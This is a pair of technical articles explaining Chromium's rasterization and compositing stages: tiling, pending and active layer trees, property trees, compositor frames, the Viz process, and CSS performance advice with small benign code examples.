## The Mechanics of Rasterization

Rasterization does not happen all at once for the entire page. The browser employs a tiling system, dual-tree architecture, and priority scheduling to handle documents that may be orders of magnitude larger than available GPU memory.

### From Display Lists to Tiles

Once the [Paint](../crp-paint/README.md) stage records drawing commands into `cc::PaintRecord` (a serializable sequence of Skia operations), the compositor thread takes ownership. Rather than rasterizing entire layers, it decomposes them into **tiles**.

**Why Tiling?** A long-scrolling page might be 50,000 pixels tall. Rasterizing this into a single texture would:

- Exceed GPU memory limits (a 4K layer consumes ~33MB of VRAM (Video Random Access Memory))
- Create massive latency before any pixels appear
- Waste resources on off-screen content the user may never see

**Tile Sizes** vary by rasterization mode:

| Mode            | Tile Dimensions                    | Rationale                                                                          |
| :-------------- | :--------------------------------- | :--------------------------------------------------------------------------------- |
| Software Raster | 256×256 px                         | Small tiles allow fine-grained priority; worker threads can complete tiles quickly |
| GPU Raster      | Viewport width × ¼ viewport height | Larger tiles reduce draw call overhead; GPU handles large textures efficiently     |

Tiles are managed by `PictureLayerImpl`, which maintains multiple `PictureLayerTiling` objects at different scale factors. A 512×512 layer at 1:1 scale produces four 256×256 tiles, but the same layer might have a single 256×256 tile at 1:2 scale for lower-resolution fallbacks during fast scrolling.

### The Dual-Tree Architecture

A critical design decision in Chromium's compositor is the separation between **pending** and **active** layer trees:

- **Pending Tree**: Receives new content from commits; tiles are rasterized here
- **Active Tree**: Currently being displayed; animations and scrolling read from this tree
- **Recycle Tree**: Cached pending tree for allocation reuse

**Why Two Trees?** Without this separation, activating a new commit would immediately expose partially-rasterized content as "checkerboard" artifacts (gray or white rectangles where tiles haven't finished). The dual-tree design ensures activation only occurs when the pending tree's tiles are sufficiently rasterized.

The `TileManager` controls activation timing. It tracks which tiles are required for the current viewport, which are desirable for smooth scrolling, and which can be deferred. Activation proceeds only when "NOW" priority tiles are ready.

### Tile Prioritization

Tiles are assigned to priority bins based on heuristics:

| Priority Bin | Criteria                    | Treatment                                      |
| :----------- | :-------------------------- | :--------------------------------------------- |
| NOW          | Visible in viewport         | Must complete before activation                |
| SOON         | Within ~1 viewport distance | High priority; prevents checkerboard on scroll |
| EVENTUALLY   | Further from viewport       | Rasterized when workers are idle               |
| NEVER        | Off-screen, no scroll path  | Skipped entirely; memory reclaimed             |

The `TileManager` distributes the GPU memory budget in priority order. If memory is constrained, lower-priority tiles are evicted or never rasterized. Scroll velocity affects binning—fast scrolls increase the "SOON" radius.

---

## Rasterization Paths: Software vs. GPU

Chromium supports two rasterization paths, selected based on device capabilities, content complexity, and compositor settings.

### Software Rasterization

Worker threads execute paint commands using Skia's CPU rasterizer, producing bitmaps in shared memory. The `SoftwareImageDecodeCache` handles image decode, scaling, and color correction as prerequisite tasks.

**Buffer Providers:**

- **ZeroCopyRasterBufferProvider**: Maps GPU memory directly; zero CPU-to-GPU copy
- **OneCopyRasterBufferProvider**: Rasterizes to shared memory, then uploads to GPU; required when direct mapping isn't available

Software raster remains the fallback when GPU acceleration fails (driver bugs, unsupported content) and is sometimes faster for very simple content where GPU overhead dominates.

### GPU Rasterization (OOP-R)

Modern Chromium uses **Out-of-Process Rasterization (OOP-R)** (Out-of-Process Rasterization). The renderer process doesn't execute GPU commands directly—it serializes paint operations into a command buffer that the **Viz process** (GPU process) executes.

**Why OOP-R?**

1. **Security**: Renderer processes are sandboxed; they cannot access platform 3D APIs directly
2. **Stability**: GPU driver crashes don't take down the renderer
3. **Parallelism**: CPU and GPU work can overlap across process boundaries

The Viz process uses Skia to execute commands against the actual GPU. Resources are shared via **mailboxes** (opaque identifiers) and synchronized through **sync tokens**.

### Ganesh vs. Graphite: The Backend Evolution

Skia's GPU backend has evolved significantly:

**Ganesh (Legacy)**:

- Designed around OpenGL semantics
- Single-threaded command submission
- No depth testing—overdraw handled by painter's algorithm
- Specialized shader pipelines created performance cliffs (unpredictable hitches when new pipelines compile during animation)

**Graphite (Current/Future)**:

- Built for Vulkan, Metal, and D3D12
- Multi-threaded by default: independent `Recorder` objects produce `Recording` instances on worker threads
- Depth testing for 2D: each draw receives a z-value, allowing opaque objects to be reordered while the depth buffer maintains correctness—reduces overdraw
- Consolidated pipeline compilation at startup, not during animation

> As of Chrome 125+ (mid-2024), Graphite is enabled by default on Apple Silicon Macs. Windows support (via Dawn's D3D11/D3D12 backends) is in progress. The flag `--skia-graphite-backend` enables it on other platforms.

**Performance Impact**: Graphite achieves ~15% improvement on MotionMark 1.3 benchmarks on M3 MacBooks, with measurable improvements in INP (Interaction to Next Paint), LCP (Largest Contentful Paint), and dropped frame rates.

---

## Layerization and Promotion

The compositor decides which parts of the DOM (Document Object Model) should live on their own **composited layers**. This decision, called **layer promotion**, trades memory for animation performance.

### Promotion Criteria

Elements are promoted when they meet criteria suggesting frequent changes or GPU-native content:

| Trigger            | Example                           | Why                                         |
| :----------------- | :-------------------------------- | :------------------------------------------ |
| Explicit hint      | `will-change: transform`          | Developer signals intent to animate         |
| 3D transforms      | `translate3d()`, `perspective`    | Already GPU-native operations               |
| Hardware content   | `<video>`, `<canvas>`, `<iframe>` | Content rendered by GPU or separate process |
| Opacity animation  | `opacity` in CSS animation        | Opacity is a compositor-only property       |
| Overlap correction | Element above a promoted layer    | Prevents incorrect z-ordering artifacts     |

### The Overlap Problem

When a promoted element sits above a non-promoted element in z-order, the browser may **force-promote** the lower element to maintain correctness. Without this, the compositor would blend layers incorrectly since it doesn't have z-buffer information across layers.

This can cascade: one promoted element causes neighbors to promote, which causes their neighbors to promote—resulting in **layer explosion**.

### Layer Squashing

To mitigate layer explosion, the compositor uses **squashing**: multiple overlapping elements that would be promoted for overlap reasons are merged into a single composited layer when possible. This bounds memory growth while preserving correctness.

**When Squashing Fails:**

- Different blend modes between elements
- Different opacity values
- Transform animations that would require re-rasterization
- Elements requiring different scroll containers

---

## Why Graphics Layers Enable 60fps

The primary benefit of layerization is bypassing the main thread for common interactions.

### Compositor-Only Properties

When an element is on its own layer and you animate **compositor-only properties** (`transform`, `opacity`), the pipeline shortcuts to:

1. **Main Thread**: Idle (or busy with JS (JavaScript))
2. **Compositor Thread**: Receives animation tick, updates transform/opacity values in property trees
3. **GPU**: Re-composites existing textures with new transformation matrix

No re-layout, no re-paint, no re-raster. The textures already exist; only the final blend changes.

```css title="Compositor-Only vs Full-Pipeline Animation"
/* ❌ Triggers Layout → Paint → Raster → Composite */
.animate-position {
  transition: top 0.2s;
}

/* ✅ Triggers only Composite */
.animate-transform {
  transition: transform 0.2s;
}
```

### Real-World Example: Fixed Headers

A `position: fixed` header is typically promoted to its own layer. During scroll:

- The content layer's texture is shifted by the scroll offset
- The header layer's texture remains static at viewport position
- The display compositor blends these textures at different offsets

The GPU performs a simple texture blend—no main thread involvement, no rasterization.

---

## Operational Trade-offs and Failure Modes

Layer promotion and GPU rasterization are not free. Understanding the costs prevents performance regressions.

### Memory Pressure

Each composited layer consumes GPU memory proportional to its pixel area:

**Formula**: `Width × Height × 4 bytes (RGBA (Red, Green, Blue, Alpha))`

| Layer Size          | Memory (RGBA) |
| :------------------ | :------------ |
| 1920×1080 (Full HD) | ~8 MB         |
| 2560×1440 (QHD)     | ~14 MB        |
| 3840×2160 (4K)      | ~33 MB        |

Mobile devices with 2-4 GB total RAM and shared GPU memory can exhaust resources quickly. Symptoms: compositor falls back to software raster, animations stutter, browser process crashes.

### Texture Upload Latency

When content changes (e.g., `background-color`), the browser must:

1. Re-rasterize affected tiles
2. Upload new texture data from CPU to GPU memory

On memory-bandwidth-constrained devices, uploading a single 512×512 texture can take 3-5ms—enough to drop a frame. The compositor throttles uploads to avoid this, but rapid content changes can still cause jank.

### The Checkerboard Effect

When scroll velocity exceeds rasterization throughput, the compositor displays the active tree's textures while the pending tree hasn't finished rasterizing new viewport content. Users see empty rectangles (historically gray checkerboard patterns).

**Mitigations:**

- Pre-rasterize tiles outside the viewport (configurable radius)
- Use lower-resolution fallback tilings during fast scroll
- Async image decode prevents blocking raster on image data

**When Mitigations Fail:**

- Extremely fast flings (flick-scroll)
- Complex content (heavy SVG, many layers)
- Memory pressure evicting pre-rasterized tiles

### GPU Process Crashes

Since rasterization runs in the Viz process with real GPU access, driver bugs can crash it. Chromium handles this:

- Viz process restarts automatically
- Renderer processes reconnect
- Visible as brief black flash or texture loss

Frequent crashes may trigger fallback to software rendering for stability.

---

## Conclusion

Rasterization is the heavy-lifting stage where abstract paint commands become concrete pixels. The tiled, dual-tree, priority-based architecture exists to solve fundamental constraints: GPU memory is limited, users scroll unpredictably fast, and the main thread must remain available for JavaScript.

For production optimization:

1. **Minimize layer count**: Each layer costs memory; use `will-change` sparingly
2. **Prefer compositor-only animations**: `transform` and `opacity` skip the entire main-thread pipeline
3. **Avoid unnecessary repaints**: Color and background changes trigger texture re-upload
4. **Test on constrained devices**: Desktop GPU memory hides problems that manifest on mobile

The transition from Ganesh to Graphite represents Chromium's investment in modern GPU APIs, multi-threaded rasterization, and reduced overdraw—improvements that compound as web content grows more complex.

---

## Appendix

### Prerequisites

- **[Paint Stage](../crp-paint/README.md)**: Understanding how display lists (paint records) are generated
- **[Compositing](../crp-composit/README.md)**: How layers are assembled into the final frame
- **GPU Architecture Basics**: Distinction between system RAM and VRAM; texture upload costs

### Terminology

| Term                         | Definition                                                                                   |
| :--------------------------- | :------------------------------------------------------------------------------------------- |
| **OOP-R**                    | Out-of-Process Rasterization; Skia executes in the Viz (GPU) process, not the renderer       |
| **Viz Process**              | Chromium's GPU process; owns GPU resources, runs display compositor                          |
| **VRAM**                     | Video RAM; dedicated GPU memory for textures                                                 |
| **Skia**                     | Open-source 2D graphics library used by Chrome, Android, and Flutter                         |
| **Ganesh**                   | Skia's legacy OpenGL-based GPU backend                                                       |
| **Graphite**                 | Skia's modern GPU backend for Vulkan/Metal/D3D12; multi-threaded with depth testing          |
| **Tiling**                   | Dividing large surfaces into fixed-size rectangles for independent rasterization             |
| **Checkerboarding**          | Visual artifact when tiles haven't been rasterized before becoming visible                   |
| **Layer Squashing**          | Merging multiple overlapping promoted elements into a single layer to reduce memory          |
| **Compositor-Only Property** | CSS properties (`transform`, `opacity`) that can be animated without main thread involvement |

### Summary

- Rasterization converts **paint records** into **GPU textures** (or CPU bitmaps)
- **Tiling** bounds memory usage and enables incremental rasterization (256×256 px software, viewport-based GPU)
- **Dual-tree architecture** (pending/active) prevents checkerboard artifacts during commits
- **Tile prioritization** (NOW/SOON/EVENTUALLY/NEVER) ensures viewport content renders first
- **OOP-R** isolates GPU operations in the Viz process for security and stability
- **Graphite** replaces Ganesh with multi-threaded, depth-tested rasterization (~15% gains)
- **Layer promotion** enables 60fps animations but costs memory; **squashing** mitigates explosion
- Trade-offs: VRAM pressure, texture upload latency, checkerboarding on fast scroll

### References

- [Chromium: How cc Works](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/how_cc_works.md) — Definitive guide to Chrome's compositor architecture
- [Chromium: Impl-Side Painting](https://www.chromium.org/developers/design-documents/impl-side-painting/) — Dual-tree architecture and tile prioritization
- [Chromium: RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Process model and Viz integration
- [Chromium: GPU Accelerated Compositing](https://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome/) — Layer promotion criteria and texture management
- [Chromium Blog: Introducing Skia Graphite](https://blog.chromium.org/2025/07/introducing-skia-graphite-chromes.html) — Graphite architecture and performance improvements
- [W3C: CSS Compositing and Blending Level 1](https://www.w3.org/TR/compositing-1/) — Specification for layer compositing operations
- [web.dev: Stick to Compositor-Only Properties](https://web.dev/articles/stick-to-compositor-only-properties-and-manage-layer-count) — Practical guidance on layer management
- [Chrome Developers: Inside look at modern web browser (Part 3)](https://developer.chrome.com/blog/inside-browser-part3/) — Compositing and rasterization overview

---

## Critical Rendering Path: Compositing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-composit
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** How the compositor thread assembles rasterized layers into compositor frames and coordinates with the Viz process to display the final pixels on screen.

# Critical Rendering Path: Compositing

How the compositor thread assembles rasterized layers into compositor frames and coordinates with the Viz process to display the final pixels on screen.

<figure>

![The compositing pipeline: the main thread commits property trees to the compositor thread, which builds compositor frames sent to Viz for final display.](./the-compositing-pipeline-the-main-thread-commits-property-trees-to-the-composito.svg)

<figcaption>The compositing pipeline: the main thread commits property trees to the compositor thread, which builds compositor frames sent to Viz for final display.</figcaption>
</figure>

## Abstract

Compositing solves a fundamental constraint: the main thread cannot simultaneously execute JavaScript and produce visual updates. Chromium's solution is a multi-threaded architecture where the **compositor thread** (`cc`) operates independently, enabling smooth scrolling and animations even when JavaScript blocks the main thread.

**Core mental model:**

```
Main Thread Tree (authoritative) → Commit → Pending Tree → Activate → Active Tree → Compositor Frame → Viz
       ↑                                        ↑ rasterization          ↑ drawing
       │                                        │ must complete          │ always responsive
       └── Writes only ──────────────────────── └── Never blocks ────────┘
```

The key architectural decisions:

| Decision                         | Why It Exists                                            | What It Enables                                                          |
| :------------------------------- | :------------------------------------------------------- | :----------------------------------------------------------------------- |
| **Two-tree architecture**        | Main thread edits shouldn't affect in-progress rendering | Main thread can prepare frame N+1 while compositor draws frame N         |
| **Property trees (4 types)**     | Flattened structure for O(1) lookups                     | Fast transform, clip, effect, scroll calculations without tree traversal |
| **Compositor-driven animations** | `transform`/`opacity` don't require layout               | 60fps animations independent of main thread load                         |
| **Async input routing**          | Scroll events handled before reaching main thread        | Responsive scrolling during JavaScript execution                         |

The compositor thread **never** makes blocking calls to the main thread—this one-directional dependency is what guarantees responsiveness.

---

## The Chrome Compositor (cc)

The **cc** component (Chrome Compositor) is Chromium's multi-threaded compositing system. It runs in both the renderer process (where Blink is the client) and the browser process (for UI compositing).

### Architecture Overview

```
┌─────────────────────────────────────────────────────────────────┐
│                      Renderer Process                            │
├─────────────────────────────────────────────────────────────────┤
│  Main Thread                    │  Compositor Thread (cc)        │
│  ────────────────────           │  ──────────────────────        │
│  • LayerTreeHost                │  • LayerTreeHostImpl           │
│  • Layer (public API)           │  • LayerImpl (internal)        │
│  • Property trees (source)      │  • Property trees (copy)       │
│                                 │  • TileManager                 │
│         │                       │  • Scheduler                   │
│         │ Commit (blocking)     │         │                      │
│         └──────────────────────▶│         │                      │
│                                 │         ▼                      │
│                                 │  CompositorFrame               │
│                                 │         │                      │
└─────────────────────────────────┼─────────┼──────────────────────┘
                                  │         │ IPC
                                  │         ▼
                        ┌─────────┴─────────────────────────────────┐
                        │              Viz Process                   │
                        │  • SurfaceManager                          │
                        │  • SurfaceAggregator                       │
                        │  • Display Compositor                      │
                        └───────────────────────────────────────────┘
```

The public API (`LayerTreeHost`, `Layer`) lives on the main thread. Embedders create layers, set properties, and request commits. The internal implementation (`LayerTreeHostImpl`, `LayerImpl`) lives on the compositor thread and handles the actual rendering work.

### The Three-Tree System

Chromium maintains three layer trees to decouple content updates from display:

| Tree                 | Location          | Purpose                                                    |
| :------------------- | :---------------- | :--------------------------------------------------------- |
| **Main Thread Tree** | Main thread       | Authoritative source; updated by JavaScript, style, layout |
| **Pending Tree**     | Compositor thread | Staging area for new commits; tiles rasterize here         |
| **Active Tree**      | Compositor thread | Currently being displayed; source for compositor frames    |

A fourth tree, the **Recycle Tree**, caches the previous pending tree to optimize memory allocation.

**Why three trees?** Without this separation:

- Commits would block until rasterization completes (frames would drop)
- Partially-rasterized content would be visible (checkerboard artifacts)
- Main thread couldn't prepare the next frame while the current one renders

### The Commit Operation

The [Commit](../crp-commit/README.md) synchronizes the main thread tree to the pending tree. This is a **blocking operation**: the main thread pauses while the compositor copies:

1. **Property trees** (transform, clip, effect, scroll)
2. **Layer metadata** (bounds, property tree node IDs)
3. **Display lists** (paint records for rasterization)

Once commit completes, the main thread resumes and can immediately begin preparing the next frame.

### Activation

When tiles in the pending tree are sufficiently rasterized, **activation** occurs: the pending tree becomes the new active tree. The `TileManager` controls this timing—activation only proceeds when "NOW" priority tiles (visible in viewport) are ready.

> **Design rationale**: Activation is the safety valve preventing checkerboard. If rasterization falls behind, activation delays rather than showing incomplete content.

---

## Property Trees

Property trees are the modern replacement for hierarchical layer transforms. Instead of walking the entire layer tree to compute a node's final transform, each layer stores **node IDs** pointing into separate trees.

### The Four Trees

| Tree          | Contents                         | Example Properties                            |
| :------------ | :------------------------------- | :-------------------------------------------- |
| **Transform** | 2D/3D transforms, scroll offsets | `transform`, `translate3d()`, scroll position |
| **Clip**      | Overflow clips, clip-path        | `overflow: hidden`, `clip-path`               |
| **Effect**    | Visual effects                   | `opacity`, `filter`, `mix-blend-mode`, `mask` |
| **Scroll**    | Scroll metadata                  | Scroll chain relationships, scroll bounds     |

### Why Property Trees?

Consider computing the screen-space transform for a deeply nested element:

**Legacy approach (layer tree traversal):**

```
transform = identity
for each ancestor from root to element:
    transform = transform × ancestor.localTransform
// O(depth) per element, O(depth × layers) total
```

**Property trees approach:**

```
transformNode = propertyTrees.transform[element.transformNodeId]
transform = transformNode.cachedScreenSpaceTransform
// O(1) lookup
```

Property trees cache computed values at each node. When a transform changes, only affected nodes recompute—not the entire tree. This makes updates **O(interesting nodes)** instead of **O(total layers)**.

### Real-World Impact

A complex page with 1000+ layers (data visualization, infinite scroll) would see catastrophic commit times with layer tree traversal. Property trees keep commit times bounded regardless of layer count—critical for maintaining 60fps.

---

## Compositor Frames

The compositor thread produces **CompositorFrames**, the data structure that travels to Viz for display. A frame is not a bitmap—it's a structured description of what to draw.

### Frame Structure

```
CompositorFrame
├── metadata
│   ├── device_scale_factor
│   ├── frame_token (for timing)
│   └── begin_frame_ack
├── RenderPass[] (from back to front)
│   └── RenderPass
│       ├── id
│       ├── output_rect
│       ├── damage_rect
│       └── DrawQuad[] (drawing primitives)
└── resource_list (texture references)
```

### Draw Quads

Draw quads are the atomic drawing primitives:

| Quad Type            | Purpose                       | Example                 |
| :------------------- | :---------------------------- | :---------------------- |
| `TextureDrawQuad`    | Rasterized tile               | Layer content           |
| `SolidColorDrawQuad` | Color fill                    | Backgrounds, fallbacks  |
| `SurfaceDrawQuad`    | Reference to another surface  | Cross-origin iframe     |
| `TileDrawQuad`       | Single tile of tiled layer    | Large scrolling content |
| `VideoDrawQuad`      | Video frame                   | `<video>` element       |
| `RenderPassDrawQuad` | Output of another render pass | CSS filter result       |

Each quad carries geometry (transform, destination rect, clip), material properties (texture ID, blend mode), and layer information for z-ordering.

### Render Passes

When content requires intermediate textures, multiple **render passes** are used:

| Effect             | Why Intermediate Pass Required                                          |
| :----------------- | :---------------------------------------------------------------------- |
| `filter: blur()`   | Must render content to texture, then apply blur kernel                  |
| `opacity` on group | Children blend with each other first, then group blends with background |
| `mix-blend-mode`   | Requires reading pixels from underlying content                         |

Each additional render pass adds GPU overhead (texture allocation, state changes, draw calls). This is why `filter` and `mix-blend-mode` are more expensive than `transform` and `opacity`.

---

## Compositor Thread Responsibilities

The compositor thread (`LayerTreeHostImpl`) handles four critical functions that must remain responsive regardless of main thread state:

### 1. Input Routing

Scroll and touch events are intercepted **before** reaching the main thread. The compositor implements `InputHandler`, allowing it to:

- Apply scroll offsets immediately to the active tree's property trees
- Handle pinch-zoom by modifying viewport scale
- Route events to the main thread only when necessary (event listeners, non-composited scrollers)

**Design rationale**: If scroll events went to the main thread first, a blocked main thread would freeze scrolling. By routing input through the compositor, scrolling remains responsive during heavy JavaScript execution.

### 2. Compositor-Driven Animations

Animations targeting `transform`, `opacity`, or `filter` can run entirely on the compositor thread:

```css
/* Compositor-driven: runs on compositor thread */
.smooth {
  transition:
    transform 0.3s,
    opacity 0.3s;
}

/* Main-thread required: triggers layout */
.janky {
  transition:
    left 0.3s,
    width 0.3s;
}
```

The animation system works by:

1. Main thread creates animation, marks element for promotion
2. Animation metadata copies to compositor during commit
3. Compositor thread ticks animation each frame, updating property tree values
4. GPU re-composites existing textures with new transform/opacity

No re-layout, no re-paint, no re-raster—the textures already exist.

### 3. Tile Management

The `TileManager` orchestrates rasterization across worker threads:

| Priority Bin | Criteria                    | Treatment                       |
| :----------- | :-------------------------- | :------------------------------ |
| NOW          | Visible in viewport         | Must complete before activation |
| SOON         | Within ~1 viewport distance | Prevents checkerboard on scroll |
| EVENTUALLY   | Further from viewport       | Rasterized when idle            |
| NEVER        | Off-screen, no scroll path  | Skipped entirely                |

Scroll velocity affects binning—fast scrolls expand the "SOON" radius to pre-rasterize more content ahead of the scroll direction.

### 4. Frame Scheduling

The `Scheduler` coordinates the rendering pipeline, managing:

- **BeginFrame** signals from Viz (VSync-aligned)
- **BeginMainFrame** requests to the main thread
- Activation timing based on tile readiness
- Frame submission deadlines

---

## What Stays Responsive During Main Thread Blocks

The compositor thread handles these operations **independently**, meaning they continue during heavy JavaScript execution:

```javascript collapse={1-2}
// Example: 3-second main thread block
button.addEventListener("click", () => {
  const start = Date.now()
  while (Date.now() - start < 3000) {} // Busy loop
  console.log("Done!")
})
```

**Compositor-handled (still works):**

| Behavior                   | Why It Works                             | Caveat                                            |
| :------------------------- | :--------------------------------------- | :------------------------------------------------ |
| **Page scrolling**         | Compositor handles scroll position       | Scroll event listeners won't fire until unblocked |
| **Pinch-to-zoom**          | Compositor modifies viewport transform   | —                                                 |
| **`transform` animations** | Compositor updates transform node values | Only for promoted layers                          |
| **`opacity` animations**   | Compositor updates effect node values    | Only for promoted layers                          |
| **Video playback**         | Decoded in separate process              | Seeking may need main thread                      |
| **OffscreenCanvas**        | Rendering on worker thread               | Requires explicit setup                           |

**Main-thread-dependent (blocked):**

| Behavior                     | Why It's Blocked                             |
| :--------------------------- | :------------------------------------------- |
| Click/touch handlers         | Event dispatch runs on main thread           |
| Hover state changes          | Requires style recalculation                 |
| Layout-triggering animations | `left`, `top`, `width`, `margin` need layout |
| Text selection               | Main thread hit testing                      |
| Form input                   | Main thread event handling                   |
| `requestAnimationFrame`      | Callbacks run on main thread                 |

### Compositor-Only vs Main-Thread Animations

```css
/* ✅ Compositor-only: runs during JS execution */
.smooth-spinner {
  animation: spin 1s linear infinite;
}
@keyframes spin {
  to {
    transform: rotate(360deg);
  }
}

/* ❌ Main-thread required: freezes during JS execution */
.janky-spinner {
  animation: slide 1s linear infinite;
}
@keyframes slide {
  to {
    margin-left: 100px;
  } /* Layout property */
}
```

The `transform` animation updates a property tree node value—the compositor applies it to cached GPU textures. The `margin-left` animation requires layout recalculation, which only the main thread can perform.

---

## Compositor-to-Viz Communication

The compositor thread doesn't draw pixels directly—it produces `CompositorFrame` objects that travel to the **Viz process** (GPU process) for display.

### The Frame Sink Interface

Each compositor has a **CompositorFrameSink** connection to Viz:

```
Renderer Process                           Viz Process
────────────────                           ───────────
CompositorThread                           SurfaceManager
      │                                          │
      │ SubmitCompositorFrame(frame)             │
      ├─────────────────────────────────────────▶│
      │                                          │
      │ DidReceiveCompositorFrameAck()           │
      │◀─────────────────────────────────────────┤
      │                                          │
      │ BeginFrame(args)                         │
      │◀─────────────────────────────────────────┤
```

**Frame submission flow:**

1. Compositor builds `CompositorFrame` (draw quads, render passes, resource references)
2. Frame submitted via `CompositorFrameSink::SubmitCompositorFrame()`
3. Viz acknowledges receipt, allowing compositor to recycle resources
4. Viz sends `BeginFrame` signals (VSync-aligned) to pace frame production

### Surface Aggregation

A web page often involves multiple renderer processes (cross-origin iframes), plus the browser UI. Viz aggregates all their frames:

```
Browser UI Frame ────┐
Main Page Frame ─────┼──▶ Surface Aggregator ──▶ Aggregated Frame ──▶ Display
iframe A Frame ──────┤
iframe B Frame ──────┘
```

The `SurfaceAggregator` walks `SurfaceDrawQuad` references recursively, merging frames from all sources. If an iframe's frame hasn't arrived, Viz uses the previous frame or a solid color—preventing one slow process from stalling the entire page.

### Why Viz Lives in a Separate Process

**Security**: Renderer processes are sandboxed and cannot access GPU APIs directly. All GPU commands go through Viz.

**Stability**: GPU driver crashes terminate only the Viz process; renderers survive and reconnect. Users see a brief flash rather than losing their tabs.

**Resource management**: Viz controls GPU memory allocation across all tabs, preventing any single page from consuming all VRAM (Video Random Access Memory).

---

## Performance Optimization Patterns

### Promote Wisely

Layer promotion enables compositor-driven animations but costs memory:

```css
/* Explicit promotion hint */
.will-animate {
  will-change: transform;
}

/* Implicit promotion (has side effects) */
.promoted {
  transform: translateZ(0); /* Forces own layer */
}
```

**Memory cost**: Each layer consumes `width × height × 4 bytes` (RGBA) of GPU memory. A 1920×1080 layer = ~8MB. Mobile devices with shared GPU memory exhaust resources quickly.

**When to promote:**

- Elements with `transform`/`opacity` animations
- Fixed/sticky positioned elements (scroll independently)
- Content with hardware video or WebGL

**When NOT to promote:**

- Static content (wastes memory)
- Thousands of small elements (layer explosion)
- Content that changes frequently (re-rasterization costs)

### Compositor-Only Animations

For 60fps animations, stick to properties the compositor can handle without main thread involvement:

| Property           | Compositor-Only? | Notes                                          |
| :----------------- | :--------------- | :--------------------------------------------- |
| `transform`        | ✅ Yes           | All transform functions                        |
| `opacity`          | ✅ Yes           | —                                              |
| `filter`           | ⚠️ Partial       | Compositor can apply, but may need render pass |
| `left`, `top`      | ❌ No            | Triggers layout                                |
| `width`, `height`  | ❌ No            | Triggers layout                                |
| `background-color` | ❌ No            | Triggers paint/raster                          |

### Avoid Forced Synchronous Layout

Reading layout properties after writes forces the browser to synchronously recalculate:

```javascript
// ❌ Forces layout thrashing
elements.forEach((el) => {
  el.style.width = `${el.offsetWidth + 10}px` // Read triggers sync layout
})

// ✅ Batch reads, then writes
const widths = elements.map((el) => el.offsetWidth) // All reads
elements.forEach((el, i) => {
  el.style.width = `${widths[i] + 10}px` // All writes
})
```

Layout thrashing on the main thread delays commits, which delays frame production.

---

## Failure Modes and Debugging

### Checkerboarding

When scrolling reveals tiles that haven't been rasterized, users see placeholder rectangles (historically a checkerboard pattern, now typically solid colors).

**Causes:**

- Scroll velocity exceeds rasterization throughput
- Memory pressure evicts pre-rasterized tiles
- Complex content (heavy SVG, many layers) slows rasterization

**Debugging:** Chrome DevTools → Performance → check for "Rasterize Paint" entries extending beyond frame budgets. The "Layers" panel shows which elements are promoted and their memory consumption.

### Layer Explosion

When too many elements are promoted, memory exhausts and performance degrades.

**Symptoms:**

- High GPU memory usage in Task Manager
- Compositor falls back to software raster
- Animations stutter despite being `transform`/`opacity` only

**Debugging:** DevTools → Layers panel → sort by memory. Look for unexpected promotions from overlap (elements stacking above promoted content force-promote).

### Commit Jank

Long commit times steal from the frame budget.

**Causes:**

- Thousands of layers (each must sync metadata)
- Complex property trees (deep nesting)
- Large display lists (many paint operations)

**Debugging:** DevTools → Performance → look for long "Commit" entries. The "Summary" tab shows time breakdown.

---

## Conclusion

Compositing is Chromium's architectural answer to a fundamental constraint: the main thread cannot execute JavaScript and produce visual updates simultaneously. By delegating frame assembly to a dedicated compositor thread with its own layer trees and property trees, the browser maintains responsive scrolling and animations regardless of main thread load.

The key insights for optimization:

1. **Promote judiciously**: Layer promotion enables compositor-driven animations but costs GPU memory
2. **Animate compositor-only properties**: `transform` and `opacity` skip the entire main-thread pipeline
3. **Understand the boundaries**: Knowing what the compositor can and cannot do prevents performance surprises
4. **Respect the frame budget**: Commit, rasterization, and Viz aggregation all compete for the 16ms window

The three-tree architecture (main → pending → active), property tree design, and one-directional dependency (main → compositor, never reverse) are the foundations enabling 60fps+ rendering on complex, multi-process web applications.

---

## Appendix

### Prerequisites

- **[Rendering Pipeline Overview](../crp-rendering-pipeline-overview/README.md)**: The end-to-end journey from HTML to pixels
- **[Paint Stage](../crp-paint/README.md)**: How display lists are recorded
- **[Rasterization](../crp-raster/README.md)**: How display lists become GPU textures
- **[Commit Stage](../crp-commit/README.md)**: The synchronization point between threads

### Terminology

| Term                       | Definition                                                                      |
| :------------------------- | :------------------------------------------------------------------------------ |
| **cc (Chrome Compositor)** | The multi-threaded compositing system in Chromium                               |
| **LayerTreeHost**          | Main thread public API for layer management                                     |
| **LayerTreeHostImpl**      | Compositor thread implementation; handles input, animations, frame production   |
| **Property Trees**         | Four separate trees (transform, clip, effect, scroll) for O(1) property lookups |
| **CompositorFrame**        | Data structure containing draw quads and render passes, sent to Viz             |
| **Draw Quad**              | Atomic drawing primitive (texture, solid color, surface reference)              |
| **Render Pass**            | Set of quads drawn to a target (screen or intermediate texture)                 |
| **Viz (Visuals)**          | Chromium's GPU process; aggregates frames and produces final display            |
| **Surface**                | Compositable unit in Viz that receives compositor frames                        |
| **Activation**             | Transition from pending tree to active tree after rasterization completes       |
| **Checkerboarding**        | Visual artifact when tiles aren't rasterized before becoming visible            |

### Summary

- **cc (Chrome Compositor)** runs on a dedicated thread, enabling responsive scrolling and animations during main thread blocks
- **Three-tree architecture** (main → pending → active) decouples content updates from display
- **Property trees** (transform, clip, effect, scroll) provide O(1) lookups instead of O(depth) traversals
- **Compositor frames** contain draw quads and render passes—abstract descriptions, not bitmaps
- **Viz process** aggregates frames from all renderer processes and browser UI into a single display output
- **Compositor-only properties** (`transform`, `opacity`) animate without main thread involvement
- **One-directional dependency**: main thread can block on compositor, but compositor never blocks on main thread

### References

- **Chromium Design Docs: How cc Works** — [chromium.googlesource.com](https://chromium.googlesource.com/chromium/src/+/master/docs/how_cc_works.md)
  > "The scheduler triggers BeginMainFrame, Blink applies updates, then ProxyImpl copies data to compositor thread structures while temporarily blocking the main thread."
- **Chromium Design Docs: Compositor Thread Architecture** — [chromium.org](https://www.chromium.org/developers/design-documents/compositor-thread-architecture/)
  > "This architecture allows us to snapshot a version of the page and allow the user to scroll and see animations directly even when the main thread is blocked."
- **Chrome Developers: RenderingNG Architecture** — [developer.chrome.com](https://developer.chrome.com/docs/chromium/renderingng-architecture)
- **Chrome Developers: RenderingNG Data Structures** — [developer.chrome.com](https://developer.chrome.com/docs/chromium/renderingng-data-structures)
